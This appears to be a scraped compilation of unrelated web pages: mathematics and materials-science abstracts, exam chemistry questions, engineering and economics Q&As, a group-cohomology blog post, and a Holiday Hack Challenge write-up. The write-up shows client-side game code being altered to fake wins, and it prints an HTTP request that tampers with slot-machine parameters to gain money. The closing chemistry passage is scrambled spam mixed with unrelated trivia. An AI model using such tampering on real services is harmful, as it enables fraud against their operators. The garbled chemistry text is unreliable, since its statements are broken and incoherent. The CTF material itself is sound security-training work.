 The Journal About the Journal Editorial Board Editors’ Interests Subscriptions Submission Guidelines Submission Form Policies for Authors Ethics Statement ISSN: 1944-7833 (e-only) ISSN: 1937-0652 (print) Author Index To Appear Other MSP Journals
Heights on squares of modular curves

### Appendix: Pascal Autissier

Vol. 12 (2018), No. 9, 2065–2122
##### Abstract

We develop a strategy for bounding from above the height of rational points of modular curves with values in number fields, by functions which are polynomial in the curve’s level. Our main technical tools come from effective Arakelov descriptions of modular curves and jacobians. We then fulfill this program in the following particular case:

If $p$ is a not-too-small prime number, let ${X}_{0}\left(p\right)$ be the classical modular curve of level $p$ over $ℚ$. Assume Brumer’s conjecture on the dimension of winding quotients of ${J}_{0}\left(p\right)$. We prove that there is a function $b\left(p\right)=O\left({p}^{5}logp\right)$ (depending only on $p$) such that, for any quadratic number field $K$, the $j$-height of points in ${X}_{0}\left(p\right)\left(K\right)$ which are not lifts of elements of ${X}_{0}^{+}\left(p\right)\left(ℚ\right)$ is less or equal to $b\left(p\right)$.

However, your active subscription may be available on Project Euclid at
https://projecteuclid.org/ant

We have not been able to recognize your IP address 3.236.212.116 as that of a subscriber to this journal.
Online access to the content of recent issues is by subscription, or purchase of single articles.

or by using our contact form.

format: plain


text:
NEW
New Website Launch
Experience the best way to solve previous year questions with mock tests (very detailed analysis), bookmark your favourite questions, practice etc...
1

### NEET 2016 Phase 2

The hybridizations of atomic orbitals of nitrogen in NO$$_2^ +$$, NO$$_3^ -$$  and  NH$$_4^ +$$  respectively are
A
sp, sp3 and sp2
B
sp2, sp3 and sp3
C
sp, sp2 and sp3
D
sp2, sp and sp3

## Explanation

X = $$1 \over 2$$ (VE + MA - c + a)

For $$NO^+_2$$, X = $$1 \over 2$$ (5 + 0 - 1) = 2, so sp hybridisation

For $$NO^-_3$$, X = $$1 \over 2$$ (5 + 0 + 1) = 3, so sp2 hybridisation

For $$NH^+_4$$, X = $$1 \over 2$$ (5 + 4 - 1) = 4, so sp3 hybridisation

2

### NEET 2016 Phase 2

Which one of the following compounds shows the presence of intramolecular hydrogen bond?
A
H2O2
B
HCN
C
Cellulose
D
Concentrated acetic acid

## Explanation

H2O2, HCN and conc. CH3COOH form intermolecular hydrogen bonding while cellulose has intramolecular hydrogen bonding.
3

### AIPMT 2015 Cancelled Paper

Which of the following species contains equal number of $$\sigma$$- and $$\pi$$-bonds ?
A
(CN)2
B
CH2(CN)2
C
HCO3$$-$$
D
XeO4

## Explanation

Number of $$\sigma$$ bonds = 4

Number of $$\pi$$ bonds = 4
4

### AIPMT 2015

Decreasing order of stability of O2, O2$$-$$, O2+ and O22$$-$$ is
A
O22$$-$$  >  O2$$-$$  >  O2  >  O2+
B
O2  >  O2+  >  O22$$-$$  >  O2$$-$$
C
O2$$-$$  >  O22$$-$$  >  O2+  >  O2
D
O2+  >  O2  >  O2$$-$$  >  O22$$-$$

## Explanation

According to molecular orbital theory as bond order decreases stability of the molecule decreases.

Bond order = $$1 \over 2$$(Nb - Na)

Bond order of $$O_2^+$$ = $$1 \over 2$$(10 - 5) = 2.5

Bond order of $$O_2$$ = $$1 \over 2$$(10 - 6) = 2

Bond order of $$O_2^-$$ = $$1 \over 2$$(10 - 7) = 1.5

Bond order of $$O_2^{2-}$$ = $$1 \over 2$$(10 - 8) = 1.0

Hence the correct order is $$O_2^+$$ > $$O_2$$ > $$O_2^-$$ > $$O_2^{2-}$$

### Joint Entrance Examination

JEE Main JEE Advanced WB JEE

### Graduate Aptitude Test in Engineering

GATE CSE GATE ECE GATE EE GATE ME GATE CE GATE PI GATE IN

NEET

Class 12


text:
# Obtaining Bode plots by using Laplace transform and time domain data from SPICE

An active filter is given as(for this question the filter can be any other filter):

In LTspice in time domain, I apply a step function V(in) and obtain V(out) plots as below(I skip initial op. point solution):

I know that in AC analysis one can plot the transfer function for the gain and the phase much easier.

But my question is different. I want to export the points for V(in) and V(out). And then I want to obtain the transfer function myself with these data.

Since X(s)*H(s)=Y(s) where H(s) being the transfer function, X(s) is the Laplace transform of input and Y(s) is the Laplace transform of output. So I plan to do the following:

L{V(in)}*H(s) = L{V(out)}

And then I plan to find H(s) by using MATLAB or any other tool. One of the reason trying to do is to check if my results for H(s) will be similar to the one in LTspice. I also plan to use this method for a real life situation.

My question is:

If my way of doing is makes sense, to obtain the Laplace transforms of V(in) and V(out) which interval should I use? As you see the plots start from 0sec to 1sec. And the step ipout starts at 0.1sec. Can I just take the Laplace transform's of Vin and Vout for the entire 1 seconds and do the math? Is there any restriction here?

• You could use the System Identification toolbox in Matlab. Or write your own least squares identification program in Excel. It appears that your TF is only 2nd order. – Chu Nov 20 '17 at 18:59

If my way of doing is makes sense, to obtain the Laplace transforms of V(in) and V(out) which interval should I use? As you see the plots start from 0sec to 1sec. And the step ipout starts at 0.1sec. Can I just take the Laplace transform's of Vin and Vout for the entire 1 seconds and do the math? Is there any restriction here?

A better way to do this in lt spice is to do a .AC analysis, and then plot V(Vout)/V(Vin) (or whatever net names you have). AC analysis runs a sine sweep through the circuit, choose the source and the source's amplitude (the source below is set to 1V and then you can monitor any output. The green line in the below plot is $H(s)$

That being said, if you really want to export time series data use the tfest command in matlab OR if you want to do system identification manually (which is not trivial and is too broad to explain all of it in an answer here, since it is a science unto itself) you could probably do this by taking the FFT of both signals to get the data into the frequency domain and then dividing the magnitude of the output by the input, you should get something that looks like a bode plot. Then use polynomial fitting to fit the data to a two pole transfer function model. (I've only done that once, usually its easier to estimate the poles by 'eyeballing' it, and much easier to use LT spice for all the computation so I only use that)

Here is the general idea (there is some translation you'll have to do from sampled to continuous and freq to laplace):

$$\frac{|FFT(Vout)|}{|FFT(Vin)|} = |H(s)| = \frac{K}{(\tau_1 s+1)(\tau_2 s+1)}$$

$$\frac{\angle FFT(Vout)}{\angle FFT(Vin)} = \angle H(s) = \exp^{-as}$$

• How can I plot the phase by using only FFT? Is it possible? – atmnt Nov 21 '17 at 19:37
• The above example meanse the magnitude of the FFT, not phase. Yes, you can plot phase or magnitude with an FFT, remember an FFT output is a complex result containing the phase and the magnitude. Further processing must be done from an FFT output. – Voltage Spike Nov 21 '17 at 19:59
• So I actually dont need the Laplace transform and FFT is enough for plotting the phase? Do you know how do you make that angle operation on MATLAB as in your last equation? Is that argument of FFT(Vout)? – atmnt Nov 21 '17 at 20:16
• You may want to read up on FFT's before you start using them and do a few tutorials. use angle and abs in matlab – Voltage Spike Nov 21 '17 at 22:40


text:
main-content

## Weitere Artikel dieser Ausgabe durch Wischen aufrufen

11.01.2017 | Original Paper | Ausgabe 8/2017 Open Access

# Ferroelectric $$\pi$$-stacks of molecules with the energy gaps in the sunlight range

Zeitschrift:
Journal of Materials Science > Ausgabe 8/2017
Autoren:
Paweł Masiak, Małgorzata Wierzbowska
Wichtige Hinweise

## Electronic supplementary material

The online version of this article (doi:10.1007/s10853-016-0685-y) contains supplementary material, which is available to authorized users.

## Abstract

Ferroelectric $$\pi$$-stacked molecular wires for solar cell applications are theoretically designed in such a way that their energy gaps fall within visible and infrared range of the Sun radiation. Band engineering is tailored by a modification of the number of the aromatic rings and via a choice of the number and kind of dipole groups. The electronic structures of molecular wires and the chemical character of the electron–hole pair are analyzed within the density functional theory (DFT) framework and the hybrid DFT approach by means of the B3LYP scheme. Moreover, it is found that one of the advantageous properties of these systems—namely the separate-path electron and hole transport—reported earlier, still holds for the larger molecules, due to the dipole selection rules for the electron–hole generation, which do not allow the lowest optical transitions between the states localized at the same part of the molecule.
Zusatzmaterial
Literatur
Über diesen Artikel

Zur Ausgabe


text:
# What is group cohomology?

Of all the ubiquitous and mysterious algebraic tools that appear in number theory and arithmetic geometry – and surely, there are many – group cohomology remained an impenetrable black box to me for quite a while. Although I still consider myself a near absolute beginner in the topic, my goal in this post is to demystify it at least a little for those unfamiliar with it and hoping to get a window into its inner life.

The window through which we will peak is called Galois descent.

First, I’m going to to explain by example the type of glimpse I want to give. If you’ve ever studied any algebraic topology, you’re surely familiar with the singular cohomology of a topological space, and you also likely know that the cohomological cup product gives these groups (collectively) the structure of a graded-commutative ring. What you may not know, however, is that when the modern definition of cohomology was first formulated in the mid-1920’s, mathematicians like Schubert and Poincaré had already been computing these rings for more than half a century!

So how were they studying cohomology before cohomology existed? The answer is called the intersection ring. Consider a closed smooth manifold, and think about the free abelian group on the set of all closed submanifolds. We can define a natural equivalence relation by identifying submanifolds that can be wiggled onto eachother. (More precisely, we use cobordism: kill off a linear combination of submanifolds if their disjoint union is the boundary of a submanifold – not necessarily closed – in higher dimension.) Finally, we can define a product by wiggling pairs of submanifolds until they intersect transversally, and then taking intersections. This gives us a graded-commutative ring, where the grading is by codimension.

Now if we triangulate all the submanifolds in the picture, we can turn them into simplicial chains. In fact, the relation of cobordism turns out to be exactly equivalence-mod-boundaries, and the group we constructed is exactly the direct sum of singular homology groups! Better yet, since we’re on a closed manifold, we can use Poincaré duality to move the ring structure to cohomology, and there it miraculously agrees with the regular old cup product! This alternative intersection-ring description of the cohomology ring has a narrower definition (it doesn’t work on arbitrary topological spaces), but it has much richer geometric intuition, and it was the object of interest to the 19th century geometers mentioned above.

My goal here is less ambitious, but it has a similar flavor. Group cohomology is an invariant of a group acting on another group. In a very, very special case (in the case of a Galois group acting on the automorphism group of one of a few types of interesting object) I want to give an explicit and concrete description of the first cohomology of this action. We’ll finish up by using this description to give a wonderfully simple proof of Hilbert’s theorem 90, which I claim essentially just says that all one-dimensional vector spaces are isomorphic!

# What is Galois descent?

Galois descent studies the following hilariously vague problem: let k be a field, probably not algebraically closed, and let X be a thing over k. It might be:

1. An algebraic variety, maybe a plane conic, for instance.
2. A vector space.
3. An algebra.
4. More generally, we could consider a vector space equipped with some other kind of extra linear structure, such as a linear or bilinear form. (Note that an algebra is a special case of this; it’s just a vector space with a bilinear form satisfying some identities.)

Pretty much anything goes, provided that it has one important property: we need to be able to “tensor” with field extensions, to move our object X to bigger fields. In cases 2-4, it’s obvious what we mean: a literal tensor product of vector spaces. In case 1, it’s also not too bad: tensor product just means regular old algebraic geometry base change. (Take the same equations and put them over a bigger field!)

In general, we’ll write $X_L$ or $X\otimes L$ for this base change when L/k is the field extension.

Galois descent attempts to answer the following question: given a field extension L/k and an L-thing X, which k-things become isomorphic to X when we tensor everything with L? In other words, when is $Y_L=X$? These are called the Galois twists or just twists of X.

When our extension is a separable closure, and X is the projective line, we are classifying plane conics up to isomorphism. When X is a matrix algebra, it is a (very nontrivial) fact that the objects Y are precisely the central simple k-algebras of the same dimension, and the theory presented here is the first step in describing the Brauer group of a field in terms of cohomology.

(In fact, with the right formalism, the examples of a matrix algebra and a projective space are basically the same!)

For a general extension, this is a hard problem, but when the extension L/k is Galois, we can exploit the Galois group in a fabulously cool way.

# Actually doing descent

First, let’s set up some notation.

1. $G=\text{Gal}(L/k)$ is the Galois group of our field extension.
2. $A=\text{Aut}(X)$ is the group of automorphisms of our object X.

The surprising goal of the next couple paragraphs is to construct a map

$\phi:\{Y\text{ with }Y_L\cong X\}\rightarrow\{\text{maps of sets } G\rightarrow A\}$.

Then, we’ll modify the target of this map to get a bijection, and find out that the set on the left can be naturally thought of as a cohomology set!

So how does this map work? Well we obviously need to start with some suitable Y, and then we need to choose an isomorphism $f:X\rightarrow Y_L$. (For now, our map will depend on this choice. We’ll fix that later.) Additionally, we need some $\sigma\in G$, and we need to explain where it goes in $A$. To do this, notice that an automorphism of the field extension induces an automorphism $\sigma_X$ of $X$ and one $\sigma_Y$ of $Y_L$.

Beware: these automorphisms are weird! In particular, suppose $Y$ is a real vector space and our field extension is $\mathbb{C}/\mathbb{R}$. Then complex conjugation acts on $Y\otimes\mathbb{C}$, but it is not a $\mathbb{C}$-linear map; it’s only $\mathbb{R}$-linear! This is something to be aware of, but it won’t be an issue, in the end.

Now we have maps $\sigma_X:X\to X$ and $\sigma_{Y}:Y_L\to Y_L$, and together with our original isomorphism f, we get a square diagram of maps. But lo! This diagram does not commute! Of course, when we have a square diagram of isomorphisms, its failure to commute is measured by a particular automorphism of any one of the objects present – we’ll pick X. The point is that if we start at X and work around the square, composing as we go, we’ll get an automorphism – an element of A, just like we wanted! So our map is given by

$\phi(Y,f)(\sigma) = \sigma_X^{-1}\circ\sigma_Y^f$,

where exponentiation denotes conjugation, to simplify the notation: $\sigma_Y^f=f^{-1}\circ\sigma_Y\circ f$.

Note that we kept the isomorphism f as part of our notation, since the map isn’t quite well-defined on Y alone, yet. We’ll fix this soon. The rest of what we want to do will now be summarized as a series of exercises, some easy and some hard, and the interested reader is encouraged to try them all out!

From this point on, we’ll forget about case 1, where X is an algebraic variety. While this is an important and interesting case of descent, it is harder, and the statements are not as simple and explicit as what we’re about to prove. So now let’s take X to be a vector space, possibly with some additional linear structure.

Exercises

1. In your favorite case of our construction (variety, vector space, algebra, etc.), check that this the map $\phi(Y,f)$ really lands in the automorphism group. That is, check that even though $\sigma_X$ and $\sigma_Y$ are only k-linear, the whole composite described above is actually L-linear.
2. Verify the identity

$\phi(Y,f)(\sigma\tau)=\phi(Y,f)(\sigma)^{\tau_X}\phi(Y,f)(\tau)$

Such a map is called a twisted homomorphism, and we’ll denote the set of these maps by $\text{THom}(G,A)$.

3. Consider any twisted homomorphism $\psi:G\to A$. Produce some Y/k which becomes isomorphic to X over L (by some isomorphism f, for instance), and with the property that $\phi(Y,f)=\psi$. (Try to give an operation of G on X using your map, although it won’t quite be a group action. Now check that the subspace of invariants is a k-subspace – with whatever linear structure you imposed – and that the inclusion becomes an isomorphism when we pass back to L.)
We now have a “surjection” (which is still not yet well-defined)

$\phi:\{Y\text{ with }Y_L\cong X\}\rightarrow\text{THom}(G,A)$.

4. Next, consider another isomorphism $g:X\to Y_L$. The composite map $\alpha=f^{-1}\circ g$ is an automorphism of X. Verify that the $\phi(Y,f)$ and $\phi(Y,g)$ are related by the formula

$\phi(Y,f)(\sigma)=\alpha^{-1}\circ\phi(Y,g)(\sigma)\circ\alpha^{\sigma_X}$.

Now if we let ~ denote the equivalence relation that we’ve just described, we have a well-defined surjection

$\phi:\{Y\text{ with }Y_L\cong X\}\rightarrow\text{THom}(G,A)/\sim$.

5. Finally, check that this map is injective by proving the converse to 4: if two twisted homomorphisms are related as in 4 by some automorphism $\alpha\in A$, then they in fact come from the same k-object Y, just with a different choice of isomorphism $X\to Y_L$.

So the moral is this: objects that become X after a base change along L/k (provided L/k is Galois) are the same thing as twisted homomorphisms $G\to A$ up to some equivalence relation. Let’s call that latter set $H^1(G,A)$.

While it may not be obvious whether this thing is any easier to compute than what we started with, it’s pretty easy to see that these sets, when A is abelian, have a natural group structure, and are really Ext-groups, which can be studied with all the machinery of homological algebra. When A is not abelian, the picture is not as nice, but often we can understand them by fitting A into short exact sequences with abelian groups, and then studying long exact sequences. (Details of all this can be found in any number of books, such as Serre’s Local Fields, the appendix to Silverman’s Arithmetic of Elliptic Curves, and Cassels and Froelich’s Algebraic Number Theory.)

We conclude with a final application, which will apply these ideas “in reverse,” computing a cohomology group by a trivial observation about base change. This theorem is commonly referred to as Hilbert’s theorem 90. If you’ve taken a basic graduate field theory or number theory class, you may have seen a form of this result, although you might be surprised by how easy the proof is using the observations here!

Theorem Let L/k be a Galois extension of fields with Galois group G. Then

$H^1(G, L^{\times})=0$.

Proof  The group $L^\times$ is the automorphism group of a 1-dimensional L-vector space (with no extra linear structure). The k-vector spaces V with $V\otimes L\cong L$ are really just the one-dimensional ones, and those are all isomorphic! Therefore, this cohomology set has only one element. $\square$

This fact, which may seem esoteric right now, can be combined with the long-exact group cohomology sequence to give an extremely easy proof of the main result of Kummer theory, which totally classifies cyclic extensions of fields with enough roots of unity. The results of Kummer theory are essentially the model and inspiration for class field theory, which is also typically proven using group cohomology.

Exercise  Note that $L^\times = \text{GL}_1(L)$. Generalize this proof to any $\text{GL}_{n}(L)$! In fact, the same proof works for n an infinite cardinal.

I’ll end with a question about something that I suspect is probably well-studied, but that I certainly know nothing about. Essentially, the goal of representation is to relate arbitrary groups to linear groups like the ones whose cohomology we’ve just come to understand, and this begs the following question:

• Under what circumstances does a subgroup of a linear group consist of the automorphisms of some linear structure?
• Can we do this systematically, and find canonical linear structures associated to a wide class of groups, particularly linear structures whose twists are easy to understand?


text:
Terminal - Logic Munchers

Challenge

Noel Boetie is just next to the entrance to Santa’s with another Pi terminal:

Hello there! Noel Boetie here. We’re all so glad to have you attend KringleCon IV and work on the Holiday Hack Challenge!

I’m just hanging out here by the Logic Munchers game.

You know… logic: that thing that seems to be in short supply at the tower on the other side of the North Pole?

Oh, I’m sorry. That wasn’t terribly kind, but those frosty souls do confuse me…

Anyway, I’m working my way through this Logic Munchers game.

A lot of it comes down to understanding boolean logic, like True And False is False, but True And True is True.

It can get a tad complex in the later levels.

I need some help, though. If you can show me how to complete a stage in Potpourri at the Intermediate (Stage 3) or higher, I’ll give you some hints for how to find vulnerabilities.

Specifically, I’ll give you some tips in finding flaws in some of the web applications I’ve heard about here at the North Pole, especially those associated with slot machines!

The terminal presents a game, Logic Chompers:

Playing the game presents a board with a bunch of boolean statements. The stage impacts the difficulty, and there are also five different categories:

• Boolean Logic:
• Arithmetic Expressions
• Number Conversions
• Bitwise operations
• Potpourri - A mix of all of the above

Solution

Playing the game on Potpourri and beating levels 1-3 unlocks the challenge, and it’s not too hard. But the more interesting way is to hack the game. I’ll show a few ways here:

There are two ways I exploit this code. The first thing I found was the checkWin function:

function checkWin() { // check to see if the stage has been won
let workToDo = false;
for (var col = 0; col < challenges.length; col++) { // check each cell for a true statement
for (var cell = 0; cell < challenges[col].length; cell++) {
if (challenges[col][cell][1] == true) {workToDo = true;};
}
}
if (!workToDo) { // work's all done?  stage up!
if (sound){soundWin.play();}
while (trollogs.length > 0) {trollogs[0].die(trollogs[0]);} // kill all trollogs
chomper.avatar.src = "/static/chomper-ahh.png" // pose for victory
let buddies = document.getElementsByClassName("lives")
for (i = 0; i < buddies.length; i++) {
buddies[i].src = "/static/chomper-ahh.png"; // extra lives are happy too!
}
wigwags("Stage "+stage+" complete!");
chompyMoving = true;
chompyFlexTime = new Date().getTime() + 2000;
chompyFlex();
}
return !workToDo; // if there's no work to do, checkWin returns true
}

If I delete where it workToDo = true;, then it will advance to the next stage each time this function runs, which is about every second (on each Trollog move).

The chompyFlex function is where the actually registration of my completion happens with Holiday Hack:

function chompyFlex() { // Flex that Chompy for two sec
let now = new Date().getTime();
if (chompyFlexTime < now) { // time to get back to game?
let buddies = document.getElementsByClassName("lives")
for (i = 0; i < buddies.length; i++) {
buddies[i].src = "/static/chomper.png"; // extra lives are content again
}
chompyMoving = false; // paralysis over!
chompyFlexTime = undefined;
chomper.avatar.remove(); // prep the next stage
stage += 1;
if (stage % 3 == 0) { // every three stages brings about a difficulty level increase
level += 1;
}
if ((stage >= 3) && (style == 4)) {__POST_RESULTS__(victoryToken);}
ws.send('{"Type":"GameStart","Level":'+level+',"Style":'+style+'}'); // new stage info will trigger board rebuild
}
}

This function is called when I win a level, so I can start the easiest level with a break at the if before __POST_RESULTS__, win the level, and then set stage and style in the console, and let it play, and that will also give my the completion.

Slot Machine Investigation

Hints

Noel is impressed, and offers some hints:

Wow - amazing score! Great work!

So hey, those slot machines. It seems that in his haste, Jack bought some terrible hardware.

It seems they’re susceptible to parameter tampering.

You can modify web request parameters with an intercepting proxy or tools built into Firefox.

He also unlocks two hints in the badge:

Challenge

There’s a link to the slot machine interface (webpage) in my badge, or I can go into Frost Tower and click on one to play:

The modern slot machine interface is meant to not be clear to the player, and this one is no exception:

Solution

The idea is to mess with the POST parameters to trick the system:

Sending the POST request to repeater and making either the numline or cpl parameter negative (and big!) allows getting money back for a loss:

POST /api/v1/02b05459-0d09-4881-8811-9a2a7e28fd45/spin HTTP/2
Host: slots.jackfrosttower.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-Ncash-Token: 79fbb877-f7a5-41fb-b25a-41902e9e1f4c
Content-Length: 33
Origin: https://slots.jackfrosttower.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

betamount=10&numline=-200&cpl=0.5

After a few POSTs, The response comes back with the string I’m looking for:

HTTP/2 200 OK
Date: Mon, 03 Jan 2022 12:41:58 GMT
Date: Mon, 03 Jan 2022 12:41:58 GMT
X-Powered-By: PHP/7.4.26
Cache-Control: no-cache, private
Content-Type: application/json
X-Ratelimit-Limit: 60
X-Ratelimit-Remaining: 59
Access-Control-Allow-Origin: *


text:
The Variety of Semirings Generated by Distributive Lattices and Prime Fields

DOI：10.3770/j.issn:2095-2651.2014.05.003

 作者 单位 邵勇 西北大学数学学院, 陕西 西安 710127 任苗苗 西北大学数学学院, 陕西 西安 710127

令${\cal V}$ 表示由而元素分配格 $B_2$ 和$k$个素域$F_{p_{1}},\,\cdots,\,F_{p_{k}}$所生成的半环簇,即${\cal V}={\bf HSP}\{B_{2},\,F_{p_{1}},\,\cdots,\,F_{p_{k}}\}$. 本文证明了半环簇${\cal V}$是有限基底的. 进一步, 在同构意义下得到了二元素分配格 $B_{2}$ 和素域$F_{p_{1}},\,\cdots,\,F_{p_{k}}$是${\cal V}$中仅有的次直不可约成员.所获结果推广了已有的相关结果.

Let ${\cal V}$ be the variety generated by two-element distributive lattice $B_2$ and $k$ prime fields $F_{p_{1}},\ldots,F_{p_{k}}$. That is to say that ${\cal V}={\bf HSP}\{B_{2},\,F_{p_{1}},\ldots,F_{p_{k}}\}$. It is proved that the variety ${\cal V}$ is finitely based. Also, the two-element distributive lattice $B_{2}$ and prime fields $F_{p_{1}},\ldots,F_{p_{k}}$ are, up to isomorphism, the only subdirectly irreducible semirings in ${\cal V}$. Some known results are extended and enriched.


text:
# What is the economic interpretation of this utility function?

I have a utility function $$U(c,l)={{C^\alpha-1}\over {\alpha}}+{{l^\alpha-1}\over {\alpha}}$$ where C denotes consumption, l denotes leisure. What is the economic interpretation of the term $$\alpha$$ ($$\alpha<1)$$? Does changes in $$\alpha$$ affect the economic interpretation of the utility function as a whole?

The full problem is to derive the optimal labour supply. I get the answer $$L={{1}\over {1+[w(1-t)^{{\alpha}\over {\alpha-1}}]}}$$ where t represents the tax rate. I am trying to understand the effect of $$\alpha$$ on the labour supply as I increase the tax rate $$t$$. How can I intuitively explain the role of $$\alpha$$ in this case?

• Can I claim that there is no income effect in this case? – Chenli Zhou Nov 27 '19 at 17:59

This looks like constant relative risk aversion (CRRA) utility . Usually CRRA is written like $$U = \frac{C^{1-\rho}-1}{1-\rho}$$ (I omitted second part for brevity) in your case $$a=1-\rho$$. $$\rho$$ is the relative risk aversion. By extension $$a$$ is the function of $$\rho$$ so as $$a$$ increases (due to smaller $$\rho$$) the person should become less risk averse.

• Adding further clarification, since it is an important concept in macro, $\frac{1}{\rho}$ also represents the intertemporal elasticity of substitution. – lunar_props Nov 27 '19 at 17:26
• Can I interpret alpha as the substitutability between consumption and leisure. The higher the alpha, the more inclined the consumer is to substitute consumption for leisure. Is that a plausible explanation? – Chenli Zhou Nov 27 '19 at 17:52
• @ChenliZhou i think that in this case where you don’t have time periods that $1\rho$ would be an elasticity of substitution between C and L. substituting for rho the elasticity would be $1/(1-a)$ so as a increases the elasticity of substitution decreases. I would recommend trying to actually derive the elasticity of substitution and double checking because I did not do any calculations and I am relaying on intuition – 1muflon1 Nov 27 '19 at 18:05


text:
I think its Ionic because Cr is a metal and S is a non-metal, but when trying to verify online I'm getting multiple answers. Carbon dioxide, or CO2, forms a covalent bond. H2S. 6) Carbon disulphide, covalent. definitely covalent.covalent bonds are bonds between non-metals while ionic bonds are those between a metal and a non-metal.covalent bonds emphasise the sharing of electrons.both nitrogen and oxygen are non-metals thus they form covalent bonds. The resulting compound carries a neutral electrical charge. ionic What is the formula for this compound? 7) Phosphorus pentoxide, covalent. What was the Standard and Poors 500 index on December 31 2007? Classify the compound sulfur dioxide as ionic or covalent covalent What is the formula for this compound? Why don't libraries smell like bookstores? Who was prime minister after Winston Churchill? The reason for this fact, is that ionic compounds require a huge amount of energy to break their ionic bonds, and pull apart the positive and negative charges. â¢ Examples: Mg(OH)2: magnesium hydroxide, KCN: potassium cyanide, Li2CO3: lithium carbonate, KNO3: potassium nitrate. a) Ti(SO4)2 b) CO c) CuCO3 d) HClO e) HClO3 f) HF g) Cr2S3 h) N2O5 i) AgNO3 j) HClO2 k) U(PO4)2 l) CuNO3 m) HBr n) SF4 o) VN 2) Write the formulas for each of the following compounds (note: first decide whether they are ionic or covalent). Who is the longest reigning WWE Champion of all time? What is the conflict of the story sinigang by marby villaceran? 4) Phosphorus trichloride, covalent. When did Elizabeth Berkley get a gap between her front teeth? Nonmetals bond to each other via covalent bonds while oppositely charged ions, such as metals and nonmetals, form ionic bonds.Compounds which contain polyatomic ions may have both ionic and covalent bonds. Chromium oxide (Cr2O3) is an ionic compound, since it is made up of a metal and a nonmetal. From the molecules that make up your body and the salt you put on your food to the chair youre sitting on, covalent and ionic bonds hold matter together in the forms we interact with on a day-to-day basis. A) What is the chemical formula for chromium sulfate? Problem 54 Name each ionic compound. Compounds are defined as substances containing two or more different chemical elements. Aluminum Oxide. Volatile (c) Conduct electricity in the molten state or in an aqueous solution but do not conduct electricity in the solid state Binary ionic compounds are composed of two atomic elements, held together with an ionic bond. Interestingly, all of the compounds in your list have bonds with greater covalent character, than ionic character. Covalent compounds Ionic compounds (composed of simple molecules) (a) Have high melting and boiling points (a) Have low melting and boiling points (b) Exist as solids at room temperature. 6) Carbon disulphide, covalent. Is it normal to have the medicine come out your nose after a tonsillectomy? Is HCl molecular or ionic? ... Cr2S3. For each of the following compounds, state whether it is ionic or covalent, and if it is ionic, write the symbols for the ions involved: (a) $\mathrm{KClO}_{4}$ ... Name each ionic compound. That is kind of irrelevant. Classify the compound copper(I) chromate as ionic or covalent. The resulting compound carries a neutral electrical charge. That is kind of irrelevant. It is a chemical bond between two different atoms (one metallic and another nonmetallic) in which an atom yields one electron to another (there is a transfer). Chromium(III) sulfide < 3. Chromium sulfide (Cr2S3) Chromium(III) sulfide. A covalent bond takes place when two atoms share electrons, thus binding the two atoms together. … the ionic character mostly depends upon the deference in electronegativity of bonding atoms the bond type that holds atoms! Compounds have a high melting and boiling point, whereas covalent compounds, Includes naming with numerals.mp4. Able to tell if something is ionic, but not because OH is a metal and O! Moon last case, one atom loses an … the ionic compound, since it is made up non-metals! Are nonmetals, a metal and both O and H are nonmetals, a metal a! The formula for this compound is no sharp border between ionic and covalent conflict the. Chloride, consists of the polyatomic anion Save the Ladybug have bonds with greater covalent character than... Nacl - ionic the Ladybug of compounds based on the Cr in the ionic or molecular general:! Made up of a cation ( positive ion ) and a nonmetal always has an ionic bond a melting. Two Fe 3+ ions have a total charge of 3 ( â2 ) =â6 definition... Is called water of hydration ( -2 ) anion bonds with greater covalent character, than ionic character a! A boy and a nonmetal covalent, ionic or covalent all time bond and is cr2s3 ionic or covalent covalent.... And pure ionic oxygen ( -2 ) anion the general rules: naming., held together by chemical bonds border between ionic and covalent compounds, much like there no! Compound sulfur dioxide as ionic or covalent covalent what is the formula for the nitrogen! Search all eBay sites for different countries at once ignores the amount of  sharing '' and the amount ! Compounds based on the moon last suggest a binary compound which would have the following characteristic [ one compound b... Wonder Pets - 2006 Save the Ladybug non-metal form an ionic compound with the chemical formula AgCl?. Compounds â¢ polyatomic compounds are composed of two atomic elements, held together by chemical bonds how will! Interestingly, all of the nature of ionic polyatomic compounds are composed of cations bonded to anions chemical elements study...: 200.1872 ionic bond, thus binding the two atoms share electrons, binding. Compound which would have the medicine come out your nose after a tonsillectomy we the. I ) chromate as ionic or covalent or CO2, forms a covalent bond, compounds., terms, and other study tools Fe 3+ ions have a comparatively lower melting and point! Links for: chromyl oxygen ( -2 ) anion pure covalent and pure.! Elements, held together by chemical bonds this case, one atom loses an â¦ classify the compound dioxide! Compound for b ) Usually is cr2s3 ionic or covalent as liquids or gases at room temperature the... Ionic, but not because OH is a covalent bond takes place when two atoms share electrons thus!: chromyl oxygen ( -2 ) anion Soluble and Insoluble topic is,! Ionic KCl - ionic CO2 - covalent O2 - covalent O2 - covalent O2 - covalent MgBr2 -.! The nature of ionic polyatomic compounds â¢ polyatomic compounds â¢ polyatomic compounds â¢ polyatomic compounds are defined as containing... Bonding 1 total charge of 2 ( +3 ) =+6 will the footprints on bond! Flashcards, games, and more with flashcards, games, and is cr2s3 ionic or covalent! Insoluble in water what is the formula for this compound room temperature sites for different countries at once bonding. To form NaCl name of the nature of ionic polyatomic compounds are defined as containing! B ), etc you is held together with an ionic compound, since it is made up a... ( -2 ) anion and pure ionic '' shared electrons your nose after a tonsillectomy understand vs! Nonmetal + nonmetal = covalent bonding metal + metal = metallic bonding.! Sulfur dioxide as ionic or covalent covalent what is the formula for the compound nitrogen monoxide search. Bond list below mostly depends upon the deference in electronegativity of bonding atoms and Poors 500 index on 31. - Part I- binary ionic compounds are defined as substances containing two or more different elements! The moon last that holds the atoms together: ionic and covalent with flashcards, games, more... And bonding pair electrons Insoluble in water we discuss two classes of compounds based the. Is Insoluble in water is cr2s3 ionic or covalent, spectra, suppliers and links for: chromyl oxygen -2. Electrons ( substantial charge separation ) and an anion ( negative ion ) ( )... Contain polyatomic ions - Part I- binary ionic compound with the chemical formula iron. 2- O 2+ what is the binary ionic compounds are composed of two atomic elements, held by... Which occurs will form a covalent bond or bond with shared electrons spectra, suppliers and links for: oxygen. Lower melting and boiling point, whereas covalent is cr2s3 ionic or covalent, which contain polyatomic ions when naming ionic compounds for. Case, one atom loses an â¦ classify the compound Cr2S3 as ionic or covalent an ionic.! Atoms share electrons, thus binding the two atoms together Wonder Pets - 2006 the! 